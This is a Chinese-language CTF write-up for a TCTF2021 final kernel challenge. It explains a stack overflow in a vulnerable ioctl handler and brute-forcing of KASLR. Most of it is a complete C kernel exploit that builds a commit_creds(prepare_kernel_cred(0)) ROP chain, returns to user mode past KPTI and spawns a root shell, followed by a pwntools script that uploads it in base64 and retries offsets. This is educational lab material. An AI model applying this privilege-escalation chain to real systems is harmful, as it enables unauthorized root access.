TCTF2021-FINAL

难度因该是目前做的最简单的,主要是理解下kernel的kaslr爆破和远程exp如何编写。

题目分析

发现开启了kpti

1
2
/start.sh
cat /sys/devices/system/cpu/vulnerabilities/*

img

再看下start.sh,开启了SMAP,SMEP,KASLR,但是-drive file=flag.txt,format=raw \ 将flag.txt文件作为原始磁盘镜像,在/dev/sda中,cat /dev/sda,正常情况下flag.txt是全新先设为600(root可读),然后cat /root/flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
stty intr ^]
cd `dirname $0`
timeout --foreground 300 qemu-system-x86_64 \
-m 256M \
-enable-kvm \
-cpu host,+smep,+smap \
-kernel bzImage \
-initrd initramfs.cpio.gz \
-nographic \
-monitor none \
-drive file=flag.txt,format=raw \
-snapshot \
-append "console=ttyS0 kaslr kpti quiet oops=panic panic=1"

IDA分析:

只有一个ioctl功能,a2要输入0x666,就先申请一个chunk,然后将内容写入,再传给stack。这时候就可以进行溢出了,可以看到v11距离rbp:0x112,所以返回地址写入0x112+0x8;但是题目开启了kaslr,这样我们没有办法泄露偏移地址, 但我们知道 kaslr 的随机化只有 9位,可以直接进行爆破

img

exp:

offset = (argv[1]) ? atoi(argv[1]) : 0;执行./exp a,则offeset=a,./exp,offeset=0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

#define PREPARE_KERNEL_CRED 0xffffffff81090c20
#define COMMIT_CREDS 0xffffffff810909b0
#define POP_RDI_RET 0xffffffff81001619
#define SWAPGS_RET 0xffffffff81b66d10
#define IRETQ_RET 0xffffffff8102984b
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0Xffffffff81c00df0

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("Status has been saved.");
}

void getshell()
{
if(!getuid()){
puts("SUCCESS");
system("/bin/sh");
}
else{
exit(-1);
}
}
int main(int argc, char ** argv, char ** envp)
{
char *buf;
size_t *stack;
int i;
int chal_fd;
size_t offset;

offset = (argv[1]) ? atoi(argv[1]) : 0;
saveStatus();
buf = malloc(0x2000);
memset(buf, 'A', 0x2000);
i = 0;

stack = (size_t*)(buf + 0x102);
stack[i++] = 0; // padding
stack[i++] = 0; // rbp
stack[i++] = POP_RDI_RET + offset;
stack[i++] = 0;
stack[i++] = PREPARE_KERNEL_CRED + offset;
stack[i++] = COMMIT_CREDS + offset;
stack[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset;
stack[i++] = 0;
stack[i++] = 0;
stack[i++] = (size_t) getshell;
stack[i++] = user_cs;
stack[i++] = user_rflags;
stack[i++] = user_sp;
stack[i++] = user_ss;
((unsigned short *)(buf))[0] = 0x112 + i * 8;

fd = open("/proc/core", O_RDWR); //读写模式
ioctl(fd, 0x666, buf);

return 0;
}

远程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import base64
context.log_level = "debug"

with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())

//二进制exp文件转换为base64编码,确保能够正确传输

p = process('./run.sh')
#remote("127.0.0.1", 1234)

//连接

try_count = 1
while True:
p.sendline()
p.recvuntil("~ $")

//等待进入内核系统

count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> b64_exp")
count += 1

//将exp传入,每次传输200怕太大了出问题

for i in range(count):
p.recvuntil("~ $")
p.sendline("cat b64_exp | base64 -d > ./exploit")

//base64回到原来的exp

p.sendline("chmod +x ./exploit")
randomization = (try_count % 1024) * 0x100000
p.sendline("./exploit " + str(randomization))

//运行exp并传递偏移参数

if not p.recvuntil(b"Rebooting in 1 seconds..", timeout=60):
break

//成功:没有看到重启信息

try_count += 1

log.success('success to get the root shell!')
p.interactive()